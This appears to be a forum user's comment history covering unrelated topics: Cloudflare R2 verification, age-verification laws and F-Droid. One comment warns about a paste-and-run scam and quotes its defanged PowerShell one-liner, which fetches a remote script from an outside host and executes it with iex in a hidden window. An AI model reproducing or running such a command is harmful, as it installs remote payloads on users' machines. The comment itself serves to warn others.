3,221 karma · joined October 21, 2008
We still don't know what caused it because it happened to the Cloudflare R2 subdomain, and none of the Search Console verification methods work with R2. It also means it's impossible to request verification.
Plus they generate so much noise with all the extra commits and comments that go to everyone in slack and email rather than just me.
So fun.
The one in Utah that was already signed and the one in California plus the looming federal bill? The ones that make app stores verify kids' ages and request permission from parents?
How is F-Droid planning on tackling this?
When I read the instructions, I had to do a double take. How many unsuspecting internet users would do this without thinking twice?
Win+R (run prompt), Ctrl+V (paste), Enter (execute).
What are we executing? This (I replaced . with [DOT]): powershell -w h "curl bronxy[DOT]cc/sign/in|iex"
Threat actors often use the "iex" command for their ability to launch both local and remote payloads. I curled the url, and for me, it showed a Teams exe from MS (VirusTotal here: https://virustotal.com/gui/url/fb9945173e557129d38ccdf204622...), but I wonder if the response switches to something malicious sometimes.
I think terminaltrove takes these from the projects themselves instead of creating them on their own.